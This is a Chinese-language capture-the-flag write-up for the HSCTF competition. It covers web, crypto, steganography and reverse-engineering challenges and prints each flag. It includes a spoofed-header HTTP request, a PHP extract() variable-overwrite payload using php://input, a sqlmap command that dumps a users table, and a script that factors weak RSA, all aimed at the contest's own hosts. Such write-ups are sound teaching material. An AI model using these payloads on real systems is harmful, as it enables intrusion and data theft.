由于没有多少时间答题,抽空在划水的时候做了一两道题目.比赛已经结束了24小时了。特把写的WP分享一下,欢迎各位大佬进行指点。
warm_up
只有虔诚的嘉心糖才能成功拿到flag
地址:43.248.98.206:10003
GET / HTTP/1.1
Host: 43.248.98.206:10003
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Referer:jiaran BiliBili
X-Forwarded-For:127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
hsctf{he1_hei_ran_r@n_w0_d3_rAn_Ran_00000000}
头头是道
有一个清醒的头脑很重要
地址:43.248.98.206:10006
hsctf{Mast3rH0ssssT_dI@nQQ}
B45364
WVVoT2FtUkhXamRoUmxVeFRtcHNUMXBHT1V4aFYyeDVXVmRHUTJKSGVGTlpXREJMQ2c9PQo=
三次base64得到flag
hsctf{hU569Nd_KiiraaBllRa}
EZphp
我得想想怎么才能取而代之
地址:43.248.98.206:10005
打开页面发现php extract变量覆盖
<?php
include 'flag.php';
extract($_GET);
if (isset($wsf)) {
$xmm = trim(file_get_contents($zm));
if ($xmm == $wsf) {
if (!empty($xlq)) {
$xw = trim(file_get_contents($fn));
if ($xlq === $xw) {
echo "<p>$flag</p>";
} else {
echo '<p>no no no </p>';
}
} else 'You cant do that!!';
} else {
echo 'hacker!!';
}
} else {
highlight_file(__FILE__);
}
?>
payload: ?wsf=&zm=&xlq=fn=2&fn=php://input
Post传参:fn=2
flag{phP_lS_th9_be5T_l4ngUa9e}
easy_sql
嘉然,为了你我要打ctf!!!咦?这里这么注入不进去呢?奇怪
地址:43.248.98.206:10001
访问之后查看加载发现 id=1
简单测试,发现sql注入
sqlmap一把梭哈。
#因为是时间盲注,所以flag出来之后就直接Ctrl+c了
python sqlmap.py -u "http://43.248.98.206:10001/image.php?id=*" -D hsctffinal -T users --dump
baigeiRSA
白给了,白给了,真白给!
下载下来之后的脚本内容
import libnum
from Crypto.Util import number
from secret import flag
size = 128
e = 65537
p = number.getPrime(size)
q = number.getPrime(size)
n = p*q
m = libnum.s2n(flag)
c = pow(m, e, n)
print('n = %d' % n)
print('c = %d' % c)
n = 88503001447845031603457048661635807319447136634748350130947825183012205093541
c = 40876621398366534035989065383910105526025410999058860023908252093679681817257
在已知e,N,c的情况下,其他不管了,直接yafu分解N,得到p,q 如下
P39 = 322368694010594584041053487661458382819
P39 = 274539690398523616505159415195049044439
直接脚本,网上脚本,不过原脚本有问题,然后稍作修改,删除了没有用的代码.结果如下
import gmpy2
from Crypto.Util.number import long_to_bytes
e=65537
c=40876621398366534035989065383910105526025410999058860023908252093679681817257
p = 322368694010594584041053487661458382819
q = 274539690398523616505159415195049044439
n = p*q
phi_n = (p-1)*(q-1)
d = gmpy2.invert(e,phi_n)
m = pow(c,d,n)
print(long_to_bytes(m))
得到flag
HSCTF{@Zh3n_Ba1_G3i!@}
image1
图片隐写1
下载下来图片,右键属性,在详细信息中发现flag
image2
图片隐写2
比第一张图要大,猜测图片内插入了其他数据。
但是内容一样,主题部分无flag。直接查看16进制,疑似被隐藏。搜索flag
发现flag
flag{5eafbba3-f710-4fcc-9045-0b0a8b581ec5}
image3
之前两个图片占用40k左右.这个图片占用755k.明显不正常
同时图片存在白边,疑似高度存在问题
修改高度后获取flag
flag{2c44e767-e9b4-4b55-b75e-3504b515942f}
image4
大小无异常,但是在16进制中搜索flag发现了第二题的flag,提交失败,在最后发现了zip的内容。存在flag.txt
直接修改后缀为zip,然后打开,获取flag.txt内容
flag{3f0283e0-e5d0-4084-816b-1237718a8630}
2^11
^在sage里又是什么意思呢……?
下载附件后,运行exe,发现是2048
逆向不太会,ida分析半天,伪代码调不出来,于是决定上下科技。
通过CE修改分数,直接显示flag
flag{E1d3sTBrOth3r_CaR0Ilikoule}
|